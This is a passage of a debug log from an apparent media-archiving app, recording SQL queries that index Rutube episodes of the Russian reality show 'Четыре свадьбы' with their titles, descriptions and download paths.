"/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e040100 - Четыре свадьбы: Молодежная классика VS Элегантный минимализм.mp4", false, 1, ~U[2025-04-01 17:30:07Z]] 14:36:17.799 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=59.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.801 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=36.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-08 17:31:12Z], 1] 14:36:17.821 [debug] QUERY OK source="media_items" db=19.5ms idle=36.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадебный марафон начинается! Елизавета из Липецка пригласит участниц на свою свадьбу «случайности не случайны». Адель из Уфы выберет для своего торжества классический стиль с элементами осенней тематики. Свадьбу Марии из Екатеринбурга организуют её друзья. А у Елены из Екатеринбурга будет свадьба в секретном стиле. Понравятся ли девушкам мероприятия соперниц, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Классическая свадьба VS Свадьба в секретном стиле", "3d5876ad-8a49-4233-bef6-9098e8d442cc", "81ddf241078b341a7296571cdb46be12", 5496, false, "https://rutube.ru/video/81ddf241078b341a7296571cdb46be12/", 101, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e040800 - Четыре свадьбы: Классическая свадьба VS Свадьба в секретном стиле.mp4", false, false, false, 1, [], 1, ~U[2025-04-08 17:31:12Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Свадебный марафон начинается! Елизавета из Липецка пригласит участниц на свою свадьбу «случайности не случайны». Адель из Уфы выберет для своего торжества классический стиль с элементами осенней тематики. Свадьбу Марии из Екатеринбурга организуют её друзья. А у Елены из Екатеринбурга будет свадьба в секретном стиле. Понравятся ли девушкам мероприятия соперниц, узнаем из программы «Четыре свадьбы».", "Четыре свадьбы: Классическая свадьба VS Свадьба в секретном стиле", "81ddf241078b341a7296571cdb46be12", 5496, false, "https://rutube.ru/video/81ddf241078b341a7296571cdb46be12/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e040800 - Четыре свадьбы: Классическая свадьба VS Свадьба в секретном стиле.mp4", false, 1, ~U[2025-04-08 17:31:12Z]] 14:36:17.823 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=55.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.824 [debug] QUERY OK source="media_items" db=0.9ms idle=28.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-15 17:30:07Z], 1] 14:36:17.848 [debug] QUERY OK source="media_items" db=22.3ms idle=26.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты оценят торжества друг друга. Алёна из Ульяновска устроит на своей свадьбе модный показ. Анастасия из Ишима попробует удивить конкуренток свадьбой наоборот. На свадьбу Анастасии из Санкт-Петербурга гости придут в костюмах героев комиксов. А у Ирины из Нижнего Новгорода будет классическая свадьба с элементами современности. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в стиле комиксов VS Свадьба в стиле модного показа", "26242499-3212-4ac9-8fda-13fda8fa5469", "4346f9e55622f9aac4c3318350b45f24", 5536, false, "https://rutube.ru/video/4346f9e55622f9aac4c3318350b45f24/", 102, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e041500 - Четыре свадьбы: Свадьба в стиле комиксов VS Свадьба в стиле модного показа.mp4", false, false, false, 1, [], 1, ~U[2025-04-15 17:30:07Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Четыре невесты оценят торжества друг друга. Алёна из Ульяновска устроит на своей свадьбе модный показ. Анастасия из Ишима попробует удивить конкуренток свадьбой наоборот. На свадьбу Анастасии из Санкт-Петербурга гости придут в костюмах героев комиксов. А у Ирины из Нижнего Новгорода будет классическая свадьба с элементами современности. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Свадьба в стиле комиксов VS Свадьба в стиле модного показа", "4346f9e55622f9aac4c3318350b45f24", 5536, false, "https://rutube.ru/video/4346f9e55622f9aac4c3318350b45f24/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e041500 - Четыре свадьбы: Свадьба в стиле комиксов VS Свадьба в стиле модного показа.mp4", false, 1, ~U[2025-04-15 17:30:07Z]] 14:36:17.850 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=47.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.851 [debug] QUERY OK source="media_items" db=0.6ms idle=29.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-26 09:10:09Z], 1] 14:36:17.879 [debug] QUERY OK source="media_items" db=27.3ms idle=28.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие Дарья из Рязани, Алиса из Краснодара, Тамара из Благодарного и Анастасия из Кирова. У Дарьи будет свадьба в осеннем стиле, у Алисы – в стиле «кинотеатр любви», у Тамары – татаро-ассирийская свадьба, а у Анастасии – свадьба в европейском стиле. Чьё торжество впечатлит соперниц, узнаем из программы «Четыре свадьбы».\n\nПриложение VK Знакомства. Подписка Premium бесплатно на 7 дней для новых пользователей. Подробнее: vk.cc/vkdating_trial. Скачать и зарегистрироваться: https://bit.ly/44LBavE Соглашения: vk.com/terms, dating.vk.com/legal/terms, dating.vk.com/legal/license. VK – BK.", "Четыре свадьбы: Свадьба в осеннем стиле VS Татаро-ассирийская свадьба", "188fb0e6-8add-45bd-be87-4a95b4b40ba0", "b15d0afcafa925ce09183bf76d1d030b", 5657, false, "https://rutube.ru/video/b15d0afcafa925ce09183bf76d1d030b/", 103, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e042600 - Четыре свадьбы: Свадьба в осеннем стиле VS Татаро-ассирийская свадьба.mp4", false, false, false, 1, [], 1, ~U[2025-04-26 09:10:09Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "В этом выпуске примут участие Дарья из Рязани, Алиса из Краснодара, Тамара из Благодарного и Анастасия из Кирова. У Дарьи будет свадьба в осеннем стиле, у Алисы – в стиле «кинотеатр любви», у Тамары – татаро-ассирийская свадьба, а у Анастасии – свадьба в европейском стиле. Чьё торжество впечатлит соперниц, узнаем из программы «Четыре свадьбы».\n\nПриложение VK Знакомства. Подписка Premium бесплатно на 7 дней для новых пользователей. Подробнее: vk.cc/vkdating_trial. Скачать и зарегистрироваться: https://bit.ly/44LBavE Соглашения: vk.com/terms, dating.vk.com/legal/terms, dating.vk.com/legal/license. VK – BK.", "Четыре свадьбы: Свадьба в осеннем стиле VS Татаро-ассирийская свадьба", "b15d0afcafa925ce09183bf76d1d030b", 5657, false, "https://rutube.ru/video/b15d0afcafa925ce09183bf76d1d030b/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e042600 - Четыре свадьбы: Свадьба в осеннем стиле VS Татаро-ассирийская свадьба.mp4", false, 1, ~U[2025-04-26 09:10:09Z]] 14:36:17.882 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=55.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.883 [debug] QUERY OK source="media_items" db=0.6ms idle=34.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-02 11:00:36Z], 1] 14:36:17.909 [debug] QUERY OK source="media_items" db=25.2ms idle=33.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы пройдут в Беларуси! Юлия из Бреста позовёт гостей на молодёжную свадьбу, Алеся из Ракова – на свадьбу в стиле «белорусская деревня», Алина из Ракова – на свадьбу двух поколений, а Людмила из Гродно – на свадьбу в белорусском национальном стиле. Как невесты оценят мероприятия друг друга, покажет программа «Четыре свадьбы».\n\nПриложение VK Знакомства. Подписка Premium бесплатно на 7 дней для новых пользователей. Подробнее: vk.cc/vkdating_trial. Скачать и зарегистрироваться: https://bit.ly/44LBavE\nСоглашения: vk.com/terms, dating.vk.com/legal/terms, dating.vk.com/legal/license. VK – BK.", "Четыре свадьбы. Международный сезон: Свадьбы в Беларуси", "7f4bfbee-5ec0-4bac-91ca-2880fe36d306", "0fd63e3614b441d4e84cbba1ea94cd87", 7804, false, "https://rutube.ru/video/0fd63e3614b441d4e84cbba1ea94cd87/", 104, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e050200 - Четыре свадьбы. Международный сезон: Свадьбы в Беларуси.mp4", false, false, false, 1, [], 1, ~U[2025-05-02 11:00:36Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Четыре свадьбы пройдут в Беларуси! Юлия из Бреста позовёт гостей на молодёжную свадьбу, Алеся из Ракова – на свадьбу в стиле «белорусская деревня», Алина из Ракова – на свадьбу двух поколений, а Людмила из Гродно – на свадьбу в белорусском национальном стиле. Как невесты оценят мероприятия друг друга, покажет программа «Четыре свадьбы».\n\nПриложение VK Знакомства. Подписка Premium бесплатно на 7 дней для новых пользователей. Подробнее: vk.cc/vkdating_trial. Скачать и зарегистрироваться: https://bit.ly/44LBavE\nСоглашения: vk.com/terms, dating.vk.com/legal/terms, dating.vk.com/legal/license. VK – BK.", "Четыре свадьбы. Международный сезон: Свадьбы в Беларуси", "0fd63e3614b441d4e84cbba1ea94cd87", 7804, false, "https://rutube.ru/video/0fd63e3614b441d4e84cbba1ea94cd87/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e050200 - Четыре свадьбы. Международный сезон: Свадьбы в Беларуси.mp4", false, 1, ~U[2025-05-02 11:00:36Z]] 14:36:17.911 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=58.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.912 [debug] QUERY OK source="media_items" db=0.8ms idle=32.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-10 10:40:10Z], 1] 14:36:17.939 [debug] QUERY OK source="media_items" db=26.2ms idle=31.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре пары побывают на свадьбах друг друга. Алексей и Мария из Санкт-Петербурга устроят свадьбу в стиле «киносъёмка». Фишкой свадьбы Михаила и Юлии из Самары станет оригинальный вынос колец. У Валерия и Александры из Москвы будет торжество в культурно-эстетическом стиле. А Сергей и Ксения отпразднуют в Казани свою свадьбу в классическом стиле. Как пройдут мероприятия, покажет программа «Четыре свадьбы».", "Новые Четыре свадьбы: Свадьба в стиле киносъемки VS Свадьба в культурно-эстетическом стиле", "b64021d9-43e7-4036-873a-7117db4d08e4", "3e49d4aca1c4ab7fe4422045ef70a446", 7167, false, "https://rutube.ru/video/3e49d4aca1c4ab7fe4422045ef70a446/", 105, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e051000 - Новые Четыре свадьбы: Свадьба в стиле киносъемки VS Свадьба в культурно-эстетическом стиле.mp4", false, false, false, 1, [], 1, ~U[2025-05-10 10:40:10Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Четыре пары побывают на свадьбах друг друга. Алексей и Мария из Санкт-Петербурга устроят свадьбу в стиле «киносъёмка». Фишкой свадьбы Михаила и Юлии из Самары станет оригинальный вынос колец. У Валерия и Александры из Москвы будет торжество в культурно-эстетическом стиле. А Сергей и Ксения отпразднуют в Казани свою свадьбу в классическом стиле. Как пройдут мероприятия, покажет программа «Четыре свадьбы».", "Новые Четыре свадьбы: Свадьба в стиле киносъемки VS Свадьба в культурно-эстетическом стиле", "3e49d4aca1c4ab7fe4422045ef70a446", 7167, false, "https://rutube.ru/video/3e49d4aca1c4ab7fe4422045ef70a446/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e051000 - Новые Четыре свадьбы: Свадьба в стиле киносъемки VS Свадьба в культурно-эстетическом стиле.mp4", false, 1, ~U[2025-05-10 10:40:10Z]] 14:36:17.941 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=57.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.942 [debug] QUERY OK source="media_items" db=0.4ms idle=33.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-17 10:50:09Z], 1] 14:36:17.968 [debug] QUERY OK source="media_items" db=24.6ms idle=31.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты приглашают на свои мероприятия. Фишкой свадьбы Лианы из Сатки станет атмосфера. Надежда из Тихвина выберет для своей свадьбы стиль девяностых. У Елизаветы из Омска будет русско-цыганская свадьба. А Валерия отпразднует в Махачкале свадьбу, в которой соединятся две культуры. Какими получатся торжества участниц, узнаем из программы «Четыре свадьбы».", "Новые Четыре свадьбы: Русско-цыганская свадьба VS Русско-дагестанская свадьба", "8a7396e6-69ee-4a2e-aaff-d569675de0cc", "28782452c91a832f37a0f3159d048398", 5967, false, "https://rutube.ru/video/28782452c91a832f37a0f3159d048398/", 106, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e051700 - Новые Четыре свадьбы: Русско-цыганская свадьба VS Русско-дагестанская свадьба.mp4", false, false, false, 1, [], 1, ~U[2025-05-17 10:50:09Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Четыре невесты приглашают на свои мероприятия. Фишкой свадьбы Лианы из Сатки станет атмосфера. Надежда из Тихвина выберет для своей свадьбы стиль девяностых. У Елизаветы из Омска будет русско-цыганская свадьба. А Валерия отпразднует в Махачкале свадьбу, в которой соединятся две культуры. Какими получатся торжества участниц, узнаем из программы «Четыре свадьбы».", "Новые Четыре свадьбы: Русско-цыганская свадьба VS Русско-дагестанская свадьба", "28782452c91a832f37a0f3159d048398", 5967, false, "https://rutube.ru/video/28782452c91a832f37a0f3159d048398/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e051700 - Новые Четыре свадьбы: Русско-цыганская свадьба VS Русско-дагестанская свадьба.mp4", false, 1, ~U[2025-05-17 10:50:09Z]] 14:36:17.970 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=55.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:17.971 [debug] QUERY OK source="media_items" db=0.4ms idle=31.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-26 04:30:18Z], 1] 14:36:18.000 [debug] QUERY OK source="media_items" db=28.6ms idle=29.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Какие платья выбирали невесты для своих торжеств? Чем участницы удивляли друг друга на свадьбах? Какие банкеты оказались самыми вкусными? И как девушки оценивали своих конкуренток, увидим в специальном выпуске программы «Четыре свадьбы».", "Новые Четыре свадьбы: Свадебный марафон", "faeeccfa-3490-40bd-9f32-2b82e302d168", "96930abd0ddc1575a230189970e314fd", 7802, false, "https://rutube.ru/video/96930abd0ddc1575a230189970e314fd/", 107, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e072600 - Новые Четыре свадьбы: Свадебный марафон.mp4", false, false, false, 1, [], 1, ~U[2025-07-26 04:30:18Z], ~U[2025-12-09 11:36:17Z], ~U[2025-12-09 11:36:17Z], "Какие платья выбирали невесты для своих торжеств? Чем участницы удивляли друг друга на свадьбах? Какие банкеты оказались самыми вкусными? И как девушки оценивали своих конкуренток, увидим в специальном выпуске программы «Четыре свадьбы».", "Новые Четыре свадьбы: Свадебный марафон", "96930abd0ddc1575a230189970e314fd", 7802, false, "https://rutube.ru/video/96930abd0ddc1575a230189970e314fd/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e072600 - Новые Четыре свадьбы: Свадебный марафон.mp4", false, 1, ~U[2025-07-26 04:30:18Z]] 14:36:18.002 [debug] QUERY OK source="sources" db=1.6ms idle=58.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:18.003 [debug] QUERY OK source="media_items" db=0.4ms idle=35.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-24 10:00:09Z], 1] 14:36:18.028 [debug] QUERY OK source="media_items" db=24.1ms idle=33.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Невесты оценят торжества друг друга. У Елены из Владимира будет свадьба-маскарад. Альбина из Набережных Челнов пригласит участниц на русско-татарскую свадьбу. Мероприятие Анны из Красноярска пройдёт в деревенском стиле. А Кристина из Краснодара будет рада видеть гостей на русско-дагестанской свадьбе. Какие оценки девушки выставят соперницам, покажет программа «Четыре свадьбы».", "Новые Четыре свадьбы: Свадьба в деревенском стиле VS Свадьба-маскарад", "1bbc8da4-60b3-4240-9912-c7d24fb00a27", "86f5aa8b8fd5e736591da46929b2301a", 5580, false, "https://rutube.ru/video/86f5aa8b8fd5e736591da46929b2301a/", 108, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e052400 - Новые Четыре свадьбы: Свадьба в деревенском стиле VS Свадьба-маскарад.mp4", false, false, false, 1, [], 1, ~U[2025-05-24 10:00:09Z], ~U[2025-12-09 11:36:18Z], ~U[2025-12-09 11:36:18Z], "Невесты оценят торжества друг друга. У Елены из Владимира будет свадьба-маскарад. Альбина из Набережных Челнов пригласит участниц на русско-татарскую свадьбу. Мероприятие Анны из Красноярска пройдёт в деревенском стиле. А Кристина из Краснодара будет рада видеть гостей на русско-дагестанской свадьбе. Какие оценки девушки выставят соперницам, покажет программа «Четыре свадьбы».", "Новые Четыре свадьбы: Свадьба в деревенском стиле VS Свадьба-маскарад", "86f5aa8b8fd5e736591da46929b2301a", 5580, false, "https://rutube.ru/video/86f5aa8b8fd5e736591da46929b2301a/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e052400 - Новые Четыре свадьбы: Свадьба в деревенском стиле VS Свадьба-маскарад.mp4", false, 1, ~U[2025-05-24 10:00:09Z]] 14:36:18.057 [debug] QUERY OK source="sources" db=26.1ms idle=59.4ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2025-12-09 11:36:18Z], ~U[2025-12-09 11:36:18Z], 1] 14:36:18.059 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=57.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 14:36:18.061 [debug] QUERY OK source="media_items" db=0.8ms idle=57.7ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR 